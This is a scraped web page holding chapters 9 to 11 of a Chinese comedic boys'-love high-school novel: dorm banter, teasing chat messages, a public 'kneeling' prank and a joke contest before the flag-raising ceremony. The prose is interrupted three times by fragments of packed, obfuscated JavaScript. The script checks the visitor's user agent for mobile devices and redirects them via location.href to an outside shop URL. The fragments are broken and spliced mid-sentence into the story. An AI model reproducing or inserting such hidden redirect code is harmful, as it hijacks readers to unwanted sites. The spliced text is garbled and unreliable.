d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775624|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓凝固起来,脸颊缓缓鼓了起来,变成了一只充气的河豚。 白嫖了他一晚不说,居然还敢嫌弃他的床? 气死他了! 顾檐声气愤地猛戳手机,回了一堆便便,然后把手机甩到一边,伤心地把头埋进了被子里,浑身顿时像被抽走了力气一样瘫软下来。 室友们还得一会儿才回来,要不再眯一会儿吧。 希望闭上眼睛,眼前就不会再浮现那张讨人嫌的脸了。 结果等他躺下后,却闻到被子里全是萧驰焕身上那股橘子味沐浴露的味道,本就烦躁的心顿时更乱了。 “喵的,真是不争气的东西!不就是一个臭直男,把自己迷成这样?像什么样子啊真是的!要点脸吧!死给给!” 顾檐声骂骂咧咧地爬起来,干脆把床单被套枕套全掀了,换了新的,这才勉强安稳地闭上了眼睛。 或许是他生性多疑,即使闭上眼睛,也完全不能如期待那般静下心,反而皱着眉头,焦躁地在床上翻来覆去,完全不受控制地开始复盘昨晚的所作所为。 以后得找机会把空调外机堵了,一定不能再让那傻子乱来了。 靠,厕所里的腿毛他是不是忘了冲? 希望室友们没有发现…… 蓦地,顾檐声想到什么,突然惊坐而起。 等一下,他昨晚明明可以让萧驰焕去找宿管借钥匙回去啊,干嘛一定要放人进来? 这简直就是色令智昏! 顾檐声在床上生气地翻了一个面,在心里把萧驰焕这个男妖精骂了一万遍。 …… 隔壁,萧驰焕懒懒散散地敲响了自己的寝室门。 “来了来了,谁啊?”潘铁心打开门,抬头就看到了顶着鸡窝,穿着睡衣,仿佛刚起床的萧驰焕,顿时愣住了,“我去,你啥时候出的门啊,怎么一点声音都没有?我们还以为你还睡着呢。” 他视线往下,瞥见萧驰焕光溜溜的腿,然后就绷不住了:“萧总,您这是……一大早出去做了激光退毛才回来啊?” 萧驰焕低头瞅了一眼自己如被开水烫过的猪皮一样光滑白净的腱子腿,说:“其实我昨晚趁你们睡着偷偷翻隔壁的空调外机然后在顾檐声的床上睡了一觉顺便在他厕所里拔了腿毛。” 潘铁心呆了好几秒,然后哈哈笑着擂了他一拳:“哈哈哈哈哈,萧总可真会开玩笑!好好笑啊!” 萧驰焕耸耸肩,看吧,说实话也没人信。 等他和顾檐声的关系曝光的那一天,一定会炸翻全校吧! 唉,真不知道顾檐声到底在顾虑什么。 他们的关系有那么见不得人吗?还是他拿不出手呢? 想到这里,萧驰焕不免有些郁闷地摸了摸脸。 他长得也不吓人吧?还是说,顾檐声不喜欢他的脸? 要不他干脆去整个容? 就是不知道声声喜欢哪款的…… 就在这时,身后的门刚关上就又被敲响了。 萧驰焕离得近,顺手开了门。 是夜不归宿的勤武焱从外边回来了。 9. 床单vs社死 胡啸天听到门口的动静,从床上探出头来:“哟,咱家火火今天回来得挺早啊,我都准备等到晚自习才能看到你了。” “我也想啊,但是检讨书还没写完,明天就要去升旗台上读了,”勤武焱提起这个伤心事儿就想哭,“整整3000字啊要我半条命,要知道我连800字的作文都写不出来!” 萧驰焕:“让你女朋友帮你写一下啊。” 勤武焱:“呵呵,你以为我为什么赶回来?我昨天好不容易熬夜帮她把今天的作业做完了,就是因为她说今天想和闺蜜去猫咖撸猫,我见她早上没事,就覥着脸问她能不能也帮我写一点检讨,结果她一听有3000字,当场就背着书包跑路了,喵的,老子前面一星期辛辛苦苦帮她写了那么多作业,她怎么可以这样对我?这不公平!” 一群人听完,不知道该笑还是该笑。 萧驰焕拍拍勤武焱的肩膀:“没事,我们帮你骂她,你都帮她写那么多作业了,让她帮你写两个字又怎么了?” 胡啸天附和道:“就是啊,便宜都是她占,对你却不管不顾,亏你还是她男朋友呢,她想白嫖啊这是?” 潘铁心:“就是就是,渣女!” 勤武焱听呆了,默默涨红了脸,抠着手指,扭捏道:“那什么,你们也别这么说她,她平时其实对我挺好的……” 另外三个人:“……” 萧驰焕怒了:“恋爱脑滚出我们寝室!” 骂完,萧驰焕想起什么,打开手机给顾檐声发了一条消息。 【189内向社恐纯情男高】:宝宝,你的检讨写完了吗?要我帮你写吗?[星星眼] 隔壁,正在吃饭的顾檐声拿起手机瞄了一眼,随便打了两个字又很快放了下来。 【我妈妈说名字太长会有傻逼跟着念】:管好你自己[微笑] …… 有关勤武焱的恋爱话题就在众怒中落下帷幕了。 萧驰焕泡了两碗泡面,又翻出来三包面包,当午餐吃了,然后爬上床准备开始午休。 勤武焱的床铺就在萧驰焕隔壁,他一开始还挺正常,渐渐的,他呼吸的声音越来越大,像是闻到什么,离萧驰焕的床也越来越近。 就在勤武焱整个人几乎快要沿着杆子爬过去了,萧驰焕忍不住一巴掌呼在勤武焱的脸上:“干嘛呢?变异了啊?” 勤武焱不停在萧驰焕的周身拱动鼻子,跟条缉毒犬似的:“不是,你身上什么味儿啊?” 胡啸天:“你身上有她的香水味?” “嘿,你别说,真的有!”勤武焱深吸一口气,眼神一凛,“是柠檬味儿!” 萧驰焕一愣,下意识抬起胳膊闻了闻,心里顿时一乐,这不是顾檐声沐浴露的味道吗? 在隔壁睡了一晚,居然都被腌制入味儿了。 胡啸天和潘铁心一看好像有八卦,纷纷扑到了萧驰焕的床上。 胡啸天:“真的假的?给我也闻闻!” 潘铁心:“我丢,好像真的有!” 胡啸天激动道:“我们寝室根本没有人用柠檬味儿的沐浴露!” 潘铁心忽然想起什么,指着萧驰焕大叫:“他今早穿着睡衣偷偷跑出去了,刚刚才回来!” 那么真相只有一个…… 三人立时如三庭会审一般,将男主角团团围住。 勤武焱拍案惊起:“老实交代!昨晚上哪儿浪了?” 萧驰焕当真老实交代:“去隔壁爬床了。” 勤武焱:“哈哈哈什么鬼,你真是幽我一大默!惊我一大悚!” 萧驰焕满脸诚恳:“真的啊,昨晚我抱着顾檐声睡了一晚上!” 室友们的表情顿时一言难尽。 胡啸天嘴唇翕动,几番踌躇,终于还是没忍住道:“焕啊,你就算不想说,也不用这样侮辱自己吧?” 勤武焱已经认定萧驰焕就是不想说实话:“哈,你以为我想知道啊?笑死,当初说这句话的我现在半夜睡不着,一想起来就想知道得要命,起来嚎叫又没地方嚎,没错我想知道我想知道极了!有本事你一辈子憋在心里别告诉我,我不想知道那个女人是谁我一点都不想知道!波屋不,西一昂想,一点都不想!你现在开心了吧?你这个冷漠无情的男人,我永远都不会原谅你!” 萧驰焕:“……” 也是给室友们找着乐子了,接下来,室友们坚定萧驰焕背着他们偷偷谈恋爱了,无论他去干什么都严防死守,恨不得连上厕所都跟着。 勤武焱抱着萧驰焕的腰不撒手:“你不让我们一起进去,是不是打算在厕所里偷偷发消息打电话?” “来,爸爸,我帮您脱裤子。”胡啸天狗腿地去抓萧驰焕的裤腰带。 潘铁心猥琐一笑:“那我帮爸爸扶。” 萧驰焕脸都黑了:“有病就去看兽医!别耽误治疗!” 丢下这么一句,萧驰焕砰地摔门出去了。 不就是厕所吗?教室又不是没有,谁稀罕在寝室里上啊。 切。 寝室里的三人面面相觑,互相看到了彼此脸上的尴尬。 勤武焱心虚地摸摸鼻子:“完犊子,玩笑好像开过火了。” 谁人不知,萧驰焕恐同严重,别看他平时大咧咧的,好像很能开玩笑的样子,但有一个唯一的禁忌,就是一定不能跟他开同性玩笑。 像其他寝室日常互叫“老婆”“老公”,互相坐大腿,摸脸摸腰,甚至掏鸟什么的,在他们寝室绝对不可能发生。 这是萧驰焕在入住寝室的第一天就跟他们强调过的,是他的底线。 他们平时说话都会注意,高中三年极少闹矛盾,相处起来十分和谐,互相之间已经成了死党的关系,谁知这回稍微有点上头,一不小心就失了分寸。 …… 萧驰焕走下楼后,被外面的大太阳一晒,已经后悔出来了。 艹,热死了! 寝室好好的空调不吹,他有病啊跑出来晒太阳。 但让他现在返回去,他又不太乐意,进进出出的神经似的。 算了,干脆去教室好了,教室里也有空调。 路过寝室楼前面的草地时,萧驰焕的余光忽然瞥见一抹熟悉的鹅黄。 哦豁,这不是他家仙儿的床单吗? 这种鲜艳的颜色在男寝还挺少见的,想让人不注意都难。 萧驰焕回过神时,脚下已经不受控制地走到了那抹鹅黄跟前。 他干脆顺从本心伸出手,摸了上去。 夏天日头晒,床单薄,稍微晒两下就干得差不多了。 指间的触感柔软干燥,萧驰焕情不自禁地想起昨晚躺在上面的感觉,忍不住就把脸埋了进去,深深吸了一口气。 不知道是不是他的心理作用,萧驰焕总感觉床单上似乎带着顾檐声的气息,闻着比他刚洗完的自己的床单香多了。 萧驰焕心中最后一丝微弱的不爽感也瞬间烟消云散,鼻腔里只剩下顾檐声床单干净清爽的香味。 他闻爽了,皮也痒了,不禁心花怒放地掏出了手机。 …… 教室,顾檐声忽然察觉抽屉里的手机亮了一下。 他拿出来一看—— 【189内向社恐纯情男高】:宝贝的床单真香~好想一辈子睡在里面不要醒~ 顾檐声不仅晒干了床单,还晒干了沉默:“……” 他看看这条骚里骚气的消息,又看看萧驰焕的昵称。 请问还能更OOC一点吗? 不过萧驰焕突然提他的床单干什么? 顾檐声直觉没什么好事,打字问。 【我妈妈说名字太长会有傻逼跟着念】:你现在在哪儿? 【189内向社恐纯情男高】:你伸手摸一下胸口…… 【我妈妈说名字太长会有傻逼跟着念】:这么土的套路也好意思拿出来撩人?你不在我心里,滚 萧驰焕顿时委屈了。 【189内向社恐纯情男高】:你这人怎么这么直啊!一点情趣都不懂! 顾檐声:“?” 直? 这个臭直男居然还有脸说他直? 笑死! 小心他一个狼性大发把你扑倒!到时候可别哭着喊“破喉咙”! 【189内向社恐纯情男高】:你不是前几天才换洗过床单吗?是因为我早上说你床上有虫子吗?其实晒晒被子就好啦,也没有必要这么在意~ 【我妈妈说名字太长会有傻逼跟着念】:你想多了,因为上面有你的味道,我嫌太臭了,受不了 萧驰焕顿时心梗了,一口气给顾檐声发了十几个委屈巴巴的表情包。 这人怎么总说他臭啊,难不成,就是因为他的体味太重,顾檐声才不愿意跟他做朋友的? 艹,那他要不要去买瓶香水?或许干脆去做个手术? 【我妈妈说名字太长会有傻逼跟着念】:你不在寝室? 萧驰焕心中正郁闷,看到顾檐声的消息,赌气又委屈,不禁把脸埋进床单里,拍了一张照片发了过去。 【189内向社恐纯情男高】:[靓仔自拍.jpg] 顾檐声点开一看,头皮瞬间炸了。 淦,他才把萧驰焕的味道洗掉! 【我妈妈说名字太长会有傻逼跟着念】:傻大春你在干什么!快把我的床单放下,听到没有?!现在!立刻!马上! 【189内向社恐纯情男高】:[语音5s] 顾檐声快速扫视一圈教室,见没人注意,这才从书包里悄悄找出耳机戴上,点击播放。 依然是少年那副惯有的漫不经心,慵懒的嗓音掺了点沙哑,腔调充满了明晃晃的挑逗: “叫声爸爸,我就松手。” 顾檐声太阳穴瞬间突突直跳,气得差点把耳机捏碎了。 萧!驰!焕!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775625|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叫爸爸是不可能的,但也不能让那个大傻子继续待在那个危险的地方了。 要是被人看到了,他就解释不清了。 顾檐声急得头顶冒火,思维反而沉静下来,他看了一眼教室门口,想了想,冷静地打字。 【我妈妈说名字太长会有傻逼跟着念】:滚来教室,我他喵给你准备了一个大惊喜,呵呵呵 这话怎么看都是威胁,萧驰焕却美滋滋地认为这是声声难得的主动! 不就是去一趟他们教室吗?又不是上刀山下火海。 他要求低,死不了就行。 萧驰焕活蹦乱跳地跑去了教学楼,悄悄摸到顾檐声的教室后门,对着里面偷偷摸摸地拍了一张照片。 【189内向社恐纯情男高】:[照片.jpg] 【189内向社恐纯情男高】:我到啦,你要送我什么?[期待] 顾檐声收到消息,回过头,果然看到萧驰焕正在傻不愣登地朝他悄悄比心。 顾檐声的嘴角情不自禁地翘了起来,一想到自己一会儿要做什么就好想笑。 【我妈妈说名字太长会有傻逼跟着念】:站那么远看得见什么?再往前面来点儿呗 萧驰焕眉梢一挑,真是难得见顾檐声这么好声好气,估计前面有什么坑等着他踩呢。 但他也不是什么胆小的人。 俗话说得好,来都来了。 于是,萧驰焕大咧咧地往前走了两步,到了教室中段。 顾檐声往窗外瞄了一眼,继续打字。 【我妈妈说名字太长会有傻逼跟着念】:啧,能别便秘似的行不行?是男人就干脆点,直接到门口来,敢不敢? 【189内向社恐纯情男高】:笑话,我有什么不敢的? 萧驰焕直接大摇大摆地走到了顾檐声的教室门口。 他倒要看看,顾檐声能准备什么“大礼”。 而当萧驰焕的脸出现在顾檐声他们三班门口时,整个教室几十个人都纷纷惊诧地抬起了头: “那不是隔壁班的吗?跑来我们班来干什么?” “他东张西望的在干嘛呢,难道是想找地方埋炸弹炸死我们?” “他是来找顾檐声约架的吧!” “约吗?战吗?辣男女的披风!” “开盘了!我先出一包辣条,我赌顾檐声赢!” 与此同时,顾檐声的手机也收到了最新的消息。 【189内向社恐纯情男高】:耍什么小花招呢宝贝,现在可以老实交代了吧?嗯? 顾檐声呵呵一笑,忽然握着一支笔,弯下腰,找准角度后,猛地用力戳在了自己腿上的某个穴位上。 下一秒,原本还漫不经心的萧驰焕忽然双腿一麻,膝盖一弯,在他们教室门口当场跪了下去,对着他们全班同学行了一个大礼。 整个三班都惊呆了,然后纷纷笑歪了嘴: “这……万万使得啊!快别起来!快快请千万别起来!” “这声儿子我今天喊定了!” “惊,两大校草竟是失散多年的父子!括号,顾父萧子,不拆不逆,反括号,这究竟是四班的沦丧还是三班的胜利!” 饶是厚脸皮如萧驰焕,都不禁在短短几秒内飞快涨红了脸。 他迅速从地上爬起来,伴随着整个三班放肆的笑声,捂着脸仓皇逃离了现场,原本高大挺拔的背影此时尴尬地缩成一团,看起来要多狼狈有多狼狈。 余光里,萧驰焕瞥见教室里某个罪魁祸首已经笑趴在了桌子上。 艹! 真够狠的! 萧驰焕丢死人了,一路跑到男厕所,随便进了一个隔间砰一声关上门就开始自闭。 口袋里的手机震了两下,萧驰焕似有所觉地打开手机,果然看到某人发来了消息。 【我妈妈说名字太长会有傻逼跟着念】:怎么样?我送给你的社死大礼包还满意吗?[狗头] 行啊,给他整这出呢? 萧驰焕气得几乎笑出了声,他舔了一下腮帮子,先不慌不忙地放了个水,然后眯着眼睛开始审视自己的身体,似乎在考虑从哪里下手。 终于,他深黑的眸光落在了自己的胸口。 萧驰焕勾唇一笑,干脆利落地撩开上衣,用牙尖叼住下摆,然后伸出两只修长的手,一边一个,对准自己的小豆豆,狠狠掐了上去! 教室里,原本正在沾沾自喜的顾檐声忽然在座位上发出一声难以形容的声音:“啊……” 全班嗖地将视线投向了他。 顾檐声:“……” 这一刻,顾檐声感觉浑身的血液骤然倒流到了脑袋里,整个人肉眼可见地红温起来,头深深地埋了下去,只恨找不到地缝,尴尬得脚趾在地板上抠出了三室两厅。 换个星球生活吧,这里有一个顾檐声变得像小海苔一样碎碎的,好像是死了。 鲨了他,就现在!!! 10. 香水vs伪素颜妆 萧驰焕一个人出门的时候,他的室友们还挺慌的,结果没想到,萧驰焕过了一会儿又自己回来了,而且整个人容光焕发的,一副打了胜仗的模样。 室友们虽然不知道发生了什么,但看样子不用他们哄了。 他们松了一口气。 不过,该道的歉还是要道的。 于是,萧驰焕一推开寝室大门,迎面而来的就是三个响头: “父皇,儿臣知错了!请父皇原谅!” 三个人各自跪在自己的床铺上,一起给萧驰焕磕了一个。 动作和声音都乱七八糟的。 排练过的就是不整齐。 萧驰焕在外面给别人磕,回来有儿子们给自己磕,心里不免得到些许安慰。 他轻咳一声,抬抬手,顺着台阶下了:“众孙平身吧。” 室友们笑嘻嘻地爬起来了。 萧驰焕顿了顿,给自己挽了一个尊:“你们知道的,我脾气挺好的,一点都没生气,刚才就是尿急,所以走得快了一点。” 勤武焱忙应和道:“懂的懂的,关门声音大也是因为你手劲儿太大。” 萧驰焕摸摸他的狗头,赞赏道:“不愧是朕最聪慧的龙太子,触类旁通学得妙蛙妙蛙。” 本来就不是什么大事儿,歉也道了,也便就此揭过了。 只是晚上洗澡的时候,萧驰焕难得多花了比平时多出一倍的时间,把自己上上下下都狠狠搓了一遍,回寝室后,甚至还找他们寝室唯一一个有身体乳的勤武焱借了身体乳。 萧驰焕一边往身上擦身体乳,一边满脸怀疑地闻自己的胳肢窝:“我真的有那么臭吗……” 啧,好像是没顾檐声那么香。 但这也不能怪他啊,这世上也不是谁都能做小仙男的啊! 萧驰焕一想到顾檐声居然连他睡过的床单都要扭头洗掉,就心里特别不舒服。 要是顾檐声愿意来睡他的床,他肯定不舍得洗的! 他没怎么擦过身体乳,擦完总感觉身体黏糊糊的,怪不习惯的。 但为了变得香喷喷,他忍了。 不过这样效率好像有点太低了,有没有什么更快捷的变香办法呢? 之前在脑子里一闪而过的某个念头再次浮现,萧驰焕踌躇两秒,干脆下定了决心,打开了自己的家庭群。 【189内向社恐纯情男高】:@香蕉你个不拿拿,妈,你有推荐的香水吗?给我点建议呗 远在国外的杨女士正躺在懒人沙发里一边敷面膜一边玩手机,看到萧驰焕发来的消息,惊得差点把手机砸在脸上。 她一个咕噜爬起来,激动地把手机拿给身旁的萧先生看:“卧槽,焕焕居然找我推荐香水!你说他是不是变异了?” 萧先生看了一眼手机,沉吟道:“我看更像是早恋了。” 杨女士立刻喜上眉梢:“真的吗?我最喜欢听八卦了!” 正好,萧驰焕又来了新消息。 【189内向社恐纯情男高】:对了,忘了说,要男士的,你平时给爸都买哪个牌子啊?有我能用的吗?[双手捧脸.jpg] 杨女士顿时大失所望:“唉,原来是买给自己用的啊。” 萧先生托着下巴道:“自己用的话,岂不是更可疑了?” 杨女士也想到其中关窍,眼睛重新亮起来,笃定道:“说得也是,他一个洗澡用香皂洗完连身体乳都不擦的大直男,没事儿用什么香水啊,怕不是孔雀想开屏了!” 杨女士一边偷笑,一边一口气给萧驰焕发了十几条链接。 【香蕉你个不拿拿】:宝贝看中哪款,跟妈咪说,妈咪让你爸@葡萄你个古瑞普,给你寄到学校去! 【葡萄你个古瑞普】:ojbk 【189内向社恐纯情男高】:谢谢爸爸妈妈!那我就不客气啦![撒花] 萧驰焕认认真真找了好久,最后才精挑细选了一款香味非常小众的限量款香水。 前调是薄荷混合橙花的清新柑橘调,清爽而不失活力,让人梦回初恋的感觉,中调是麝香、龙涎香、琥珀,在少年感的基础上又增添了一丝稳重和成熟,后调是柠檬的微酸和夏日的海滩树裹着浪的潮湿木质香,象征着自由和热烈。 说得挺玄乎,但萧驰焕选它的理由其实非常简单,只是它是唯一既有柑橘又有柠檬的,分别是他和顾檐声最喜欢的味道。 他找了好久才找出这么一款,立刻分享给杨女士鉴赏一下。 【香蕉你个不拿拿】:眼光不错啊,这款评价挺好的,特别斩女! 【189内向社恐纯情男高】:那斩男吗? 杨女士被问得一愣,感觉这个问法有点怪怪的,但也没多想。 【香蕉你个不拿拿】:当然斩啊,否则为啥那么多男人买啊,不喜欢他们买来干嘛? 萧驰焕相信自家亲妈的眼光,果断拿下。 愉快的选购很快结束,因为是从海外空运过来的,要至少等到下周才能拿到。 萧先生有些意外地看向杨女士:“我还以为你会直接问他喜欢的人是谁呢。” 杨女士嗤了一声:“他要是胸有成竹,早就敲锣打鼓举着喇叭昭告天下了,这一看就是还在猥琐发育,不如去问更靠谱的。” 于是,正躺在寝室床上看晋江小说的顾檐声忽然收到了杨女士发来的私信。 【香蕉你个不拿拿】:宝宝啊,干妈问你个事儿呗 顾檐声连忙翻身坐起,飞快回复。 【我妈妈说名字太长会有傻逼跟着念】:干妈您说? 对面,杨女士忍不住默读了一遍顾檐声冗长的昵称,然后陷入了诡异的沉默。 半晌,她小心翼翼地问。 【香蕉你个不拿拿】:那什么,你妈真这么说的吗? 顾檐声第一时间没看懂,愣了一下,他反应过来,顿时尴尬得满床乱爬,飞快把昵称换了。 【花开富贵】:干妈您说! 【香蕉你个不拿拿】:嘶,你这个昵称好像在我小时候抱过我,总有一种在跟我太奶奶聊天的感觉,要不你换一个吧?【橘子你个奥润吉】怎么样?是不是很可爱? 顾檐声一秒换上。 【橘子你个奥润吉】:嗯!特别可爱!谢谢干妈! 杨女士顿时满意得心花怒放。 这昵称本来是她特意给萧驰焕想的,但那个逆子不愿意换。 好在还有这么个乖巧听话的干儿子,也算是圆了她水果家族的梦。 【香蕉你个不拿拿】:干妈就是想找你打听一下,焕焕最近在学校有没有哪里不对劲?比如突然有了感兴趣的女生之类的? 顾檐声愣了一下,心脏一下子坠入冰窖。 干妈不可能无缘无故这么问,肯定是萧驰焕在他们面前表露了什么。 不论他和萧驰焕私底下关系如何,在家人的面前,他俩从来都伪装得天衣无缝,再加上他们的爸妈经常不在国内,故而两边的家长至今还不知道他俩之间的龃龉,还以为他们跟小时候关系一样好呢。 杨女士想打探萧驰焕的消息,第一时间想到的就是他。 可杨女士又哪里知道,他现在萧驰焕的了解程度,甚至不如远在国外的他们。 【橘子你个奥润吉】:不好意思啊干妈,这方面我可能不太清楚 杨女士虽失望,但也没追问,只想着之后去套一下萧驰焕的话。 后面杨女士又关心了一下顾檐声的近况,顾檐声纯靠本能回应着。 直到对话结束,手机息了屏,他的大脑还是一片空白。 该来的躲不掉,他最担心的事情,终究还是发生了。 …… 当天夜里,隔壁萧驰焕的胸口奇怪地堵了一晚上。 …… 顾檐声本来不想这么快又见到萧驰焕的,但是今天周一,要举行升旗仪式,他们还要去主席台上读检讨,没办法,想躲都躲不过。 顾檐声和室友们过去的时候,萧驰焕他们已经提前到了。 萧驰焕一看就没睡好,沉重的双眼皮懒洋洋地耷拉着,歪着脑袋靠着主席台,脑袋一下下地磕着,再不快点上台,他可能会直接站着睡着。 说起来也是奇了怪,萧驰焕今早起来的时候,就觉得自己睡了跟没睡一样。 人跟脱了水似的,莫名其妙口干舌燥不说,眼睛也特别酸痛肿胀,跟被人翻窗户进来偷偷打了两拳似的,后脑勺也很特别疼。 可能是落枕了吧。 萧驰焕心想。 虽然他也没落过。 这会儿,萧驰焕听到身前的动静,下意识撩了撩眼皮,然后就对上了顾檐声水润明亮的漂亮双眸和白里透红的光洁脸蛋。 萧驰焕被美得一个激灵,瞬间醒了。 怎么回事?是因为一晚上没见的原因吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775626|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 今天的声声……美貌似乎有些太超前了。 接下来很长一段时间,他的眼睛就像长在了顾檐声身上似的,一瞬不瞬地盯着他看。 顾檐声被看得一阵尴尬,眼神飘忽,手一直在脸上挠来挠去。 他忍不住犯嘀咕,不会吧?萧驰焕不会看出点什么来了吧? 而在顾檐声跟萧驰焕偷偷神交的时候,两边的室友也没闲着。 两拨人一见面就暗搓搓地挑衅起来,一会儿冲着对方挤眉弄眼,一会儿又张牙舞爪。 老师就在附近,他们不敢出声,就纯手语,配合眼神和意念。 虽然看不懂,但能看出来骂得挺脏的。 离主席台比较近的低年级学弟学妹们发出疑惑: “咦,后台好像在彩排,今天是有什么节目要表演吗?” “看起来好像是哑剧哦,期待。” 萧驰焕趁没人注意这边,偷偷摸摸凑过来,脸上带着薄红,看着还挺害羞,扭扭捏捏地问道:“顾檐声,你今天化了妆的啊?” 顾檐声震惊地看着他。 这可是早上他让冯萌特意给他化的清纯日常伪素颜妆,冯萌都给他打包票,保证连身经百战的赫尔退都看不出来! 昨天当他发现萧驰焕疑似有喜欢的女生后,十分没骨气地偷偷哭了一晚上。 今早起来,室友们还关心地问他怎么了。 他只能撒谎,说昨天晚上看了一篇特别虐的小说,不小心把眼睛哭肿了。 室友们知道他爱好看小说,也没怀疑。 所以萧驰焕是怎么看出来的?平时也没见他这么敏锐啊? 而萧驰焕是什么人? 真当他U盘里存的顾檐声从小到大几万张照片都是白拍的吗? 就算是顾檐声嘴唇色号从998变成了999,眼睫毛长长了一毫米,他都能一眼看出来! 萧驰焕目不转睛地盯着顾檐声的脸,乌黑的眸子里除了顾檐声再看不到任何人:“声声,你今天特别好看,跟男团似的,我都想pick你了!” 要不是有这么多人看着,他真想马上掏出手机拍下来! 顾檐声脸颊迅速蹿上薄红,本来就涂了粉的脸蛋顿时看起来更粉了,心脏控制不住地乱跳。 该死的,这傻子的嘴巴什么时候变得这么甜了? 心脏,不许跳了,听到没有? 给我停! 顾檐声一方面疯狂唾弃自己龌龊的小心思,另一方面又无法控制地感到雀跃和害羞。 就算是男女朋友之间,都少有像萧驰焕这么细心的吧? 不能再想了,他都有喜欢的女生了。 想到这里,顾檐声扑通乱跳的心又瞬间冷却了下来,胸口缓缓泛起了一滩弥漫着酸意的死水,细细密密的刺痛在心脏蔓延开来。 萧驰焕表情微变。 又来了,这种心脏闷闷沉沉的感觉。 怎么回事?难道睡觉的时候不小心压到了? 就在这时,教导主任走过来了。 萧驰焕恋恋不舍地看了顾檐声一眼,只好默默退回了自己的位置。 升旗仪式马上就要结束了,该轮到他们上台读检讨了。 他们一共八个人,就算每个人以最快的语速十分钟读完,一共也要至少80分钟。 今天一口气全部读完是不可能的。 教导主任想了想,决定今天先拉两个典型出来以儆效尤,其他人就在台上旁听,之后分配到每天早上英语听力之前去广播室全校诵读。 教导主任简单说了一下接下来的安排,扫视他们一眼说:“今天谁先?” 下一秒,一群人一起后退一步。 一愣。 按常理来说,此时应该有一个人没有后退而被迫站了出来才对! 怎么会这样? 套路不灵了? 一群人暗暗较劲儿,然后又一起蹲下来。 众人:“……” 他们互相用警惕的目光看了一眼彼此,然后一起举起手,一起背转过身,一起把手边最近的那个人往前一推于是所有人都被身边人推了一把于是集体迈出一步。 所有人:“……” 糟糕,彼此都太熟悉,套路不了自己人。 教导主任怒了:“你们跑我这儿耍猴儿来了呢?啊?平时做操怎么没见你们这么整齐啊?” 11. 演讲vs检讨 萧驰焕叹一口气,主动站出来道:“古人云得好,子不教父之过,孩儿犯错老子背锅,就我俩上吧。” 他指了指自己和顾檐声,问顾檐声:“怎么样?” 白当一次爸爸,顾檐声没意见。 “不要乱用成语!”教导主任瞪了萧驰焕一眼,“那就你俩吧,台上演讲的下来后你俩就上。” 顾檐声脑子里装着事儿,刚才压根没听教导主任说话,下意识以为是要他俩一起上去,便朝萧驰焕问道:“读谁的?” 教导主任顿时一脸疑惑,什么读谁的?难道不该问谁先读吗? 萧驰焕刚才的注意力一直在顾檐声的脸上,显然也没认真听讲,听了顾檐声的话,脑回路也被顾檐声拐跑了:“老规矩呗。” 至于老规矩是什么…… 小时候,每当他们需要做出二选一的选择,而他们观点又不一致时,就会用比赛讲笑话的方式,看谁讲的笑话最好笑谁就赢。 别问这个奇奇怪怪的规矩是怎么来的,他们也不知道。 但传承至今,他俩的笑话凑一起估计能出十本笑话大全了。 顾檐声点了点头,自信地掏出压箱底的笑话:“从前有一个皇帝,早朝时对大臣说‘孤的胜,众卿都看在眼里,孤的败’然后就下朝了。” 教导主任:“?” 这对吗? 双方的室友一起愣了半天,才相继发出鹅叫。 神经病啊!谐音梗,扣钱! 萧驰焕强忍着让自己没笑出声,不能给对手助长气焰。 他承认,这个笑话确实不错,但很遗憾,还是没有他的绝。 萧驰焕调整了一下表情,忽然欺身朝顾檐声靠近,一步步将他抵靠在主席台的墙上。 他一只手插兜,一只手慵懒地撑在顾檐声身后的墙面上,俯身贴近了两分,深邃的眼眸专注地注视着面前的少年: “顾檐声,有件事……我一直想告诉你,但是没有机会,这次,我终于可以说出那句话。” 顾檐声:“……” 顾檐声一面不由自主屏住呼吸,一面脚趾缓缓抠紧了袜子,直觉接下来这大傻子马上要给他一个大惊喜。 只见萧驰焕含情脉脉地望着顾檐声,嗓音低低的,带着一点漫不经心的散漫,丝丝缕缕地撩拨着顾檐声敏感的耳蜗:“顾檐声,其实我一直觉得你痞帅痞帅的,尤其是眼睛,像痞眼。” 顾檐声:“……………………” 果然,他就知道这人一定不会让他失望的。 什么暧昧,什么心动,全部天崩地裂! 灰飞烟灭! 顾檐声两眼一黑,想死。 身旁—— 禹洪淼笑得方圆百里的垃圾自动分类。 岑修竹笑得地崩山摧壮士死,然后天梯石栈相钩连。 冯萌笑得发出鸡叫路过食堂差点被师傅拉去做宫保鸡丁。 胡啸天笑得右手握左脚左手比个心原地前空翻还要完美落地。 潘铁心笑得静脉曲张导致小拇指拉伤以至司马光砸缸把自己砸死。 勤武焱笑得一巴掌打在他的法拉利上蹦出四节南孚电池。 是顾檐声看不懂了。 为什么这么绝美的壁咚姿势,这么低沉磁性的嗓音,萧驰焕却要拿来讲什么见鬼的痞眼! 顾檐声心如死灰地想,他上辈子可能是一个魔修,所以老天这辈子才会派萧驰焕来镇压他。 